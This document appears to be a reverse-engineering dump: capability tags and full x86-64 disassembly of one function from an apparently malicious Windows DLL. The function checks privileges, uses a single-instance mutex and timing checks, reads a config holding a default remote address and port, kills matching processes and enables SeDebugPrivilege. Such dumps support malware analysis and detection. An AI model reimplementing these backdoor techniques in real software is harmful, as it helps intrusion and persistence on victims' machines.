Function at 0x18002fee0
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Compare security identifiers
Create thread
Enumerate processes
Get common file path
Get file attributes
Get startup folder
Get token membership
Print debug messages
Read .ini file
Terminate process

Disassembly:
push rbp
push rsi
push r13
lea rbp, [rsp - 0x950]
sub rsp, 0xa50
mov rax, qword [0x180087020]
xor rax, rsp
mov qword [rbp + 0x930], rax
xor esi, esi
mov qword [rbp + 0x2f8], 7
lea rdx, str.Demo_version
mov qword [rbp + 0x2e0], rsi
lea rcx, [rbp + 0x2e0]
mov qword [rbp + 0x2f0], rsi
lea r8d, [rsi + 0xc]
call fcn.1800111b0
lea r9, [rbp + 0x2e0]
mov qword [rsp + 0x28], rsi
lea r8, [0x18002ba90]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.ASQQQQQQQQQQQQQ
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rax, [rsp + 0x68]
mov dword [rbp + 0x1c0], esi
mov qword [rsp + 0x50], rax
lea r8d, [rsi + 0x20]
mov dword [rsp + 0x48], esi
lea rcx, [rbp + 0x1c0]
mov dword [rsp + 0x40], esi
mov r9d, 0x220
mov dword [rsp + 0x38], esi
mov dl, 2
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
mov word [rbp + 0x1c4], 0x500
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x60], eax
mov r13d, eax
test eax, eax
je 0x18002fff9
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rsp + 0x60]
test eax, eax
cmove ecx, esi
mov dword [rsp + 0x60], ecx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov r13d, dword [rsp + 0x60]
test r13d, r13d
je 0x18002fff9
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0xa70], rbx
lea rcx, [rbp + 0x720]
xor edx, edx
mov qword [rsp + 0xa78], rdi
mov r8d, 0x208
call fcn.18003b0b0
mov r8d, 0x104
lea rdx, [rbp + 0x720]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov qword [rbp + 0x1c0], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x1c0]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x180030064
mov byte [0x1800fdda1], sil
jmp 0x1800300fc
mov rcx, qword [rbp + 0x1c0]
lea rax, [rsp + 0x60]
xor r9d, r9d
mov dword [rsp + 0x60], esi
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x1800300aa
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x1800fdda1], sil
jmp 0x1800300fc
mov ecx, dword [rsp + 0x60]
call fcn.1800355f8
mov r9d, dword [rsp + 0x60]
mov rsi, rax
mov rcx, qword [rbp + 0x1c0]
lea rax, [rsp + 0x60]
mov r8, rsi
mov qword [rsp + 0x20], rax
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x180030143
mov rcx, rsi
call fcn.180035588
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x1800fdda1], 0
xor esi, esi
lea rcx, str.IsSystem_0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea r8, str.zizhaonankan
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
je 0x18003023d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x18003023d
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x68], 0
lea rcx, str.S_1_5_18
call qword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidW]
test eax, eax
je 0x1800300de
mov rdx, qword [rsi]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_EqualSid]
mov rcx, qword [rsp + 0x68]
test eax, eax
mov edi, eax
setne bl
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rsi
call fcn.180035588
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x1800fdda1], bl
test edi, edi
je 0x1800300fa
lea rcx, str.IsSystem_1
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor esi, esi
mov dword [rsp + 0x60], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x180030224
cmp dword [rsp + 0x60], esi
jne 0x180030224
lea rcx, str.IsSession_0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdx, rax
lea rcx, [rbp + 0x720]
call fcn.18002bc10
test eax, eax
je 0x180030218
lea rcx, str.LaunchSessionProcess_1
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea r8, str.LaunchSessionzizhaonankan
jmp 0x180030110
lea rcx, str.IsSession_1
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea r8, str.Systemzizhaonankan
jmp 0x180030110
mov ecx, 2
mov qword [rsp + 0xa48], r14
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
mov r14, 0xffffffffffffffff
mov qword [rbp + 0x220], rsi
mov r8, r14
mov qword [rbp + 0x230], rsi
mov qword [rbp + 0x238], 7
lea rax, [rbp + 0x720]
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180030280
mov qword [rsp + 0xa80], r12
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x220]
mov qword [rsp + 0xa40], r15
call fcn.1800111b0
cmp qword [rbp + 0x238], 8
lea rdx, [rbp + 0x220]
mov r10, qword [rbp + 0x220]
mov rbx, rsi
mov r9, qword [rbp + 0x230]
setae r11b
cmovae rdx, r10
mov qword [rbp + 0x200], rbx
mov qword [rbp + 0x210], rsi
mov edi, 7
mov qword [rbp + 0x218], rdi
test r9, r9
je 0x1800303db
lea rcx, [r9 - 1]
mov rax, r14
cmp rcx, r14
cmovb rax, rcx
cmp word [rdx + rax*2], 0x5c
lea r8, [rdx + rax*2]
je 0x180030326
cmp r8, rdx
je 0x1800303db
sub r8, 2
cmp word [r8], 0x5c
jne 0x180030312
sub r8, rdx
sar r8, 1
cmp r8, r14
je 0x1800303db
cmp r9, r8
mov qword [rbp + 0x240], rsi
lea rdx, [rbp + 0x220]
mov qword [rbp + 0x250], rsi
cmovb r8, r9
mov qword [rbp + 0x258], rdi
test r11b, r11b
lea rcx, [rbp + 0x240]
cmovne rdx, r10
call fcn.1800111b0
mov rdx, qword [rbp + 0x218]
cmp rdx, 8
jb 0x1800303b1
mov rcx, qword [rbp + 0x200]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800303ac
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800310b7
call fcn.180035588
movups xmm0, xmmword [rbp + 0x240]
movups xmm1, xmmword [rbp + 0x250]
movups xmmword [rbp + 0x200], xmm0
mov rbx, qword [rbp + 0x200]
movups xmmword [rbp + 0x210], xmm1
mov rdi, qword [rbp + 0x218]
xor edx, edx
lea rcx, [rbp + 0x300]
mov r8d, 0x208
call fcn.18003b0b0
cmp rdi, 8
lea r8, [rbp + 0x200]
lea rdx, str._sApp.dat
cmovae r8, rbx
lea rcx, [rbp + 0x300]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, str.denglupeizhi
mov r8d, 0x608
call fcn.18003b0b0
xor edx, edx
lea rcx, [rbp + 0x510]
mov r8d, 0x208
call fcn.18003b0b0
lea rax, [rbp + 0x300]
mov qword [rsp + 0x28], rax
lea r9, [0x1800f7b7e]
lea r8, [0x180075e60]
mov dword [rsp + 0x20], 0xff
lea rdx, [0x18007a3f8]
lea rcx, [0x18007a3f0]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea rax, [rbp + 0x300]
mov qword [rsp + 0x28], rax
lea r9, [0x1800f7d7c]
lea r8, [0x180075e60]
mov dword [rsp + 0x20], 0x1e
lea rdx, [0x18007a408]
lea rcx, [0x18007a3f0]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea rax, [rbp + 0x300]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x510]
lea r8, [0x180075e60]
mov dword [rsp + 0x20], 0x104
lea rdx, [0x18007a400]
lea rcx, [0x18007a3f0]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
movzx eax, word [rbp + 0x510]
mov ebx, gethostbyname
movzx edx, word [rbp + 0x512]
cmp eax, 0x31
jne 0x1800304fe
test dx, dx
jne 0x1800304fe
lea eax, [rbx - 0x2f]
jmp 0x180030512
mov ecx, eax
sub ecx, ebx
jne 0x18003050b
mov ecx, edx
movzx eax, si
sub ecx, eax
test ecx, ecx
mov eax, esi
setne al
mov dword [0x1800f7db8], eax
lea r9, str.192.168.1.200
lea rax, [rbp + 0x300]
mov qword [rsp + 0x28], rax
lea r8, [0x180075e60]
lea rdx, [0x18007a418]
mov dword [rsp + 0x20], 0xff
lea rcx, [0x18007a3f0]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea rax, [rbp + 0x300]
mov qword [rsp + 0x28], rax
lea r9, str.6669
lea r8, [0x180075e60]
mov dword [rsp + 0x20], 0x1e
lea rdx, [0x18007a410]
lea rcx, [0x18007a3f0]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea rax, [rbp + 0x300]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x510]
lea r8, [0x180075e60]
mov dword [rsp + 0x20], 0x104
lea rdx, [0x18007a428]
lea rcx, [0x18007a3f0]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
movzx eax, word [rbp + 0x510]
movzx edx, word [rbp + 0x512]
cmp eax, 0x31
jne 0x1800305d9
test dx, dx
jne 0x1800305d9
mov eax, 1
jmp 0x1800305ed
mov ecx, eax
sub ecx, ebx
jne 0x1800305e6
mov ecx, edx
movzx eax, si
sub ecx, eax
test ecx, ecx
mov eax, esi
setne al
mov dword [0x1800f7ff8], eax
lea r9, [0x1800f7ffc]
lea rax, [rbp + 0x300]
mov qword [rsp + 0x28], rax
lea r8, [0x180075e60]
lea rdx, [0x18007a420]
mov dword [rsp + 0x20], 0x1e
lea rcx, [0x18007a3f0]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea rax, [rbp + 0x300]
mov qword [rsp + 0x28], rax
lea r9, [0x1800f8038]
lea r8, [0x180075e60]
mov dword [rsp + 0x20], gethostname
lea rdx, [0x18007a438]
lea rcx, [0x18007a3f0]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea rax, [rbp + 0x300]
mov qword [rsp + 0x28], rax
lea r9, [0x1800f809c]
lea r8, [0x180075e60]
mov dword [rsp + 0x20], gethostname
lea rdx, [0x18007a430]
lea rcx, [0x18007a3f0]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea rax, [rbp + 0x300]
mov qword [rsp + 0x28], rax
lea r9, str.Km_aY
lea r8, [0x180075e60]
mov dword [rsp + 0x20], gethostname
lea rdx, [0x18007a478]
lea rcx, [0x18007a3f0]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea r8, [rsp + 0x70]
mov rcx, 0xffffffff80000001
lea rdx, str.Console1
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.winbrand.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x18003074d
lea rdx, str.BrandingFormatString
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180030744
lea rcx, str._WINDOWS_LONG_
call rax
lea rdx, [0x18007969c]
mov rcx, rax
call fcn.18003a4f0
test rax, rax
je 0x180030744
mov rcx, rbx
mov r14b, 1
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x180030755
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
call fcn.18002c6a0
xor r14b, r14b
cmp byte [0x1800fdda1], 0
jne 0x180030e7d
mov r8d, inet_ntoa
mov qword [rbp + 0x280], rsi
lea rdx, str.MyPyService
mov qword [rbp + 0x290], rsi
lea rcx, [rbp + 0x280]
mov qword [rbp + 0x298], 7
call fcn.1800111b0
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x208
call fcn.18003b0b0
xor r9d, r9d
lea rdx, [rbp - 0x80]
xor ecx, ecx
lea r8d, [r9 + 7]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, str.DiagnosticsHub.true
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov r12d, esi
setne r12b
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x1800307f8
xor r15b, r15b
jmp 0x18003084c
cmp qword [rbp + 0x298], 8
lea rdx, [rbp + 0x280]
mov r8d, 4
mov rcx, rbx
cmovae rdx, qword [rbp + 0x280]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
test rax, rax
jne 0x180030837
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor r15b, r15b
jmp 0x18003084c
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r15b, 1
cmp r12d, 1
jne 0x180030864
cmp r15b, r12b
je 0x180030dc7
test r13d, r13d
je 0x180030e37
test r14b, r14b
je 0x180030cec
mov r8d, 0x1b
mov qword [rbp + 0x240], rsi
lea rdx, str.htmlfile_shellopencommand
mov qword [rbp + 0x250], rsi
lea rcx, [rbp + 0x240]
mov qword [rbp + 0x258], 7
call fcn.1800111b0
xor r8d, r8d
mov qword [rbp + 0x260], rsi
lea rdx, [0x180075e60]
mov qword [rbp + 0x270], rsi
lea rcx, [rbp + 0x260]
mov qword [rbp + 0x278], 7
call fcn.1800111b0
lea r9, [rbp + 0x260]
lea r8, [rbp + 0x240]
lea rcx, [rbp + 0x2c0]
call fcn.18002beb0
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x1e0]
call fcn.18002c110
cmp qword [rbp + 0x1f0], 0
je 0x180030a33
cmp qword [rbp + 0x1f8], 8
lea rcx, [rbp + 0x1e0]
cmovae rcx, qword [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp qword [rbp + 0x1f8], 8
lea rsi, [rbp + 0x1e0]
cmovae rsi, qword [rbp + 0x1e0]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800309c5
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800309bc
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp - 0x54]
call fcn.180043074
test eax, eax
jne 0x1800309ab
mov r8d, dword [rbp - 0x78]
lea ecx, [rax + 1]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1800309ab
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180030970
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rbp + 0x1f0]
mov rcx, 0xffffffffffffffff
inc rdi
mov eax, 2
mul rdi
cmovo rax, rcx
mov rcx, rax
call fcn.1800355f8
cmp qword [rbp + 0x1f8], 8
lea r8, [rbp + 0x1e0]
mov rdx, rdi
mov rcx, rax
cmovae r8, qword [rbp + 0x1e0]
mov rbx, rax
call fcn.180042c78
xor esi, esi
lea r8, [0x18002c360]
mov qword [rsp + 0x28], rsi
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x180030b89
mov r8d, reloc.WS2_32.dll_send
mov qword [rbp + 0x2a0], rsi
lea rdx, str.DiagnosticsHub.html
mov qword [rbp + 0x2b0], rsi
lea rcx, [rbp + 0x2a0]
mov qword [rbp + 0x2b8], 7
call fcn.1800111b0
lea r9, [rbp + 0x2a0]
mov qword [rsp + 0x28], rsi
lea r8, [0x18002b960]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r8d, reloc.WS2_32.dll_recv
mov qword [rbp + 0x1c0], rsi
lea rdx, str.nssminstall.html
mov qword [rbp + 0x1d0], rsi
lea rcx, [rbp + 0x1c0]
mov qword [rbp + 0x1d8], 7
call fcn.1800111b0
lea r9, [rbp + 0x1c0]
mov qword [rsp + 0x28], rsi
lea r8, [0x18002b960]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 8
jb 0x180030b2a
mov rcx, qword [rbp + 0x1c0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180030b25
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800310bd
call fcn.180035588
mov rdx, qword [rbp + 0x2b8]
mov qword [rbp + 0x1d0], rsi
mov qword [rbp + 0x1d8], 7
mov word [rbp + 0x1c0], si
cmp rdx, 8
jb 0x180030b89
mov rcx, qword [rbp + 0x2a0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180030b84
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800310bd
call fcn.180035588
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 8
jb 0x180030bcf
mov rcx, qword [rbp + 0x1e0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180030bca
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800310c3
call fcn.180035588
mov rdx, qword [rbp + 0x2d8]
mov qword [rbp + 0x1f0], rsi
mov qword [rbp + 0x1f8], 7
mov word [rbp + 0x1e0], si
cmp rdx, 8
jb 0x180030c2e
mov rcx, qword [rbp + 0x2c0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180030c29
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800310c3
call fcn.180035588
mov rdx, qword [rbp + 0x278]
mov qword [rbp + 0x2d0], rsi
mov qword [rbp + 0x2d8], 7
mov word [rbp + 0x2c0], si
cmp rdx, 8
jb 0x180030c8d
mov rcx, qword [rbp + 0x260]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180030c88
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800310c3
call fcn.180035588
mov rdx, qword [rbp + 0x258]
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], 7
mov word [rbp + 0x260], si
cmp rdx, 8
jb 0x180030cec
mov rcx, qword [rbp + 0x240]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180030ce7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800310c3
call fcn.180035588
cmp r12d, 1
je 0x180030dc7
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
test r14b, r14b
je 0x180030da0
lea r8, [0x18002dcf0]
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x1f40
ja 0x180030dc7
nop word [rax + rax]
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x208
call fcn.18003b0b0
xor r9d, r9d
lea rdx, [rbp - 0x80]
xor ecx, ecx
lea r8d, [r9 + 7]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, str.DiagnosticsHub.true
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x180030dc7
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x1f40
jbe 0x180030d40
jmp 0x180030dc7
lea r8, [0x18002f1b0]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r13d, r13d
je 0x180030e37
test r15b, r15b
jne 0x180030e37
test r14b, r14b
je 0x180030e00
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x18002eb10]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x180030e37
mov qword [rsp + 0x28], rsi
lea r8, [0x18002f6b0]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x298]
cmp rdx, 8
jb 0x180030e7d
mov rcx, qword [rbp + 0x280]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180030e78
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800310c9
call fcn.180035588
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180030f0b
movdqa xmm0, xmmword [str.SeDebugPrivilege]
lea r8, [rbp + 0x1c4]
lea rdx, [rbp + 0x1e0]
mov byte [rbp + 0x1f0], 0
xor ecx, ecx
movdqu xmmword [rbp + 0x1e0], xmm0
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x180030f00
mov rcx, qword [rsp + 0x68]
lea r8, [rbp + 0x1c0]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov dword [rbp + 0x1c0], 1
mov dword [rbp + 0x1cc], 2
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
mov edx, 0x80
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x18002b400]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x218]
cmp rdx, 8
jb 0x180030fb8
mov rcx, qword [rbp + 0x200]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180030fb3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800310b7
call fcn.180035588
mov rdx, qword [rbp + 0x238]
mov qword [rbp + 0x210], rsi
mov qword [rbp + 0x218], 7
mov word [rbp + 0x200], si
cmp rdx, 8
jb 0x180031017
mov rcx, qword [rbp + 0x220]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031012
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800310b7
call fcn.180035588
mov rdx, qword [rbp + 0x2f8]
mov qword [rbp + 0x230], rsi
mov qword [rbp + 0x238], 7
mov word [rbp + 0x220], si
cmp rdx, 8
jb 0x180031072
mov rcx, qword [rbp + 0x2e0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003106d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800310b7
call fcn.180035588
mov r12, qword [rsp + 0xa80]
xor eax, eax
mov r15, qword [rsp + 0xa40]
mov r14, qword [rsp + 0xa48]
mov rdi, qword [rsp + 0xa78]
mov rbx, qword [rsp + 0xa70]
mov rcx, qword [rbp + 0x930]
xor rcx, rsp
call fcn.180034f80
add rsp, 0xa50
pop r13
pop rsi
pop rbp
ret
call fcn.18003ed10
int3
call fcn.18003ed10
int3
call fcn.18003ed10
int3
call fcn.18003ed10
int3